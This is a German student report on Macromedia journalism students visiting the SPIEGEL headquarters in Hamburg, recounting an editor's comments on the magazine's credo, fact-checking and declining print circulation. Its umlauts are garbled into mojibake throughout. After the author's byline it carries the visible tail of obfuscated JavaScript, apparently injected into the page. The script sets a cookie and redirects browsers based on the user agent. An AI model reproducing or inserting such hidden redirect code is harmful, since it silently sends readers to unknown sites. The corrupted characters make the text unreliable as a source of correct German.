Besuch beim SPIEGEL: „Sagen, was ist.“

spiegel_stuttgart_bearb

Stuttgarter Studierende waren unter der Leitung von Prof. Dr. Florian Stadel zu Gast im SPIEGEL-GebAi??ude an der Ericusspitze. Foto: Macromedia/Florian Stadel

Eine Exkursion der besonderen Art: Stuttgarter Journalisten sind mit Professor Stadel von Stuttgart nach Hamburg gereist, um den ai??zganz GroAYenai??? A?ber die Schulter zu schauen. Sie hatten einen Termin beim SPIEGEL.

Lernen, in SPIEGEL-Dimensionen zu denken: Das fAi??ngt schon damit an, das gewaltige GebAi??ude an der Hamburger Ericusspitze auf sich wirken zu lassen.Ai?? GlasaufzA?ge rasen durch die 13 Etagen des Journalismus-Tempels, freischwebende Treppen kreuzen das Atrium. „Sagen, was ist.“, steht in silbernen Buchstaben an der Wand. Drei Worte von SPIEGEL-Vater Rudolf Augstein, die das Credo des Nachrichtenmagazins zusammenfassen sollen.

Insider-Informationen, investigative Recherche, Skandale auf der WeltbA?hne – AlltagsgeschAi??ft beim SPIEGEL, sagt Redakteur Martin U. MA?ller. Er erklAi??rteAi?? den Stuttgarter Macromedia-Studenten in Begleitung von Prof. Dr. Florian Stadel, wie Journalisten beim SPIEGEL arbeiten. Auf die besondere Perspektive und auf die Glaubhaftigkeit komme es an, so MA?ller. Anders sein als die einen, mehr wissen als die anderen. 100 Journalisten, die jedes einzelne Wort ihrer Kollegen auf Korrektheit A?berprA?fen, eine Rechtsabteilung, die rund um die Uhr da ist. Andere Dimensionen.

Man kAi??nnte den SPIEGEL als eine Institution bezeichnen. Seit Jahrzehnten als Leitmedium betitelt, als Verfechter der Pressefreiheit bekannt, als Themenmacher berA?chtigt. MA?ller sprach von „elitAi??rem Journalismus“. Aus seinem Mund klang das nicht nach GrAi??AYenwahn, sondern nach einem Privileg.

Man kAi??nnte das Magazin aber auch leicht angestaubt nennen. Denn der SPIEGEL sitzt nicht im Elfenbeinturm, wenngleich die Architektur des Hauses beeindruckend ist. Die Auflagen des gedruckten Magazins sinken, so wie bei anderen Zeitungen und Zeitschriften auch. Die Leserschaft werde auch nicht jA?nger. Spiegel Online und Bento sollen sie locken. Aber wie lohnt sich das?

Die Perspektiven, das Anderssein, all das dA?rfe seinen Stellenwert laut MA?ller im 21. Jahrhundert nicht verlieren. Neue Herausforderungen, neue Dimensionen. Aber so lange der SPIEGEL nicht nur sagt, sondern auch begreift, was ist, schafft er das.

Natalie Diedrichs
Journalismus-Studentin 5. Semester
Campus Stuttgart ))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Facebook Like

Comments are closed.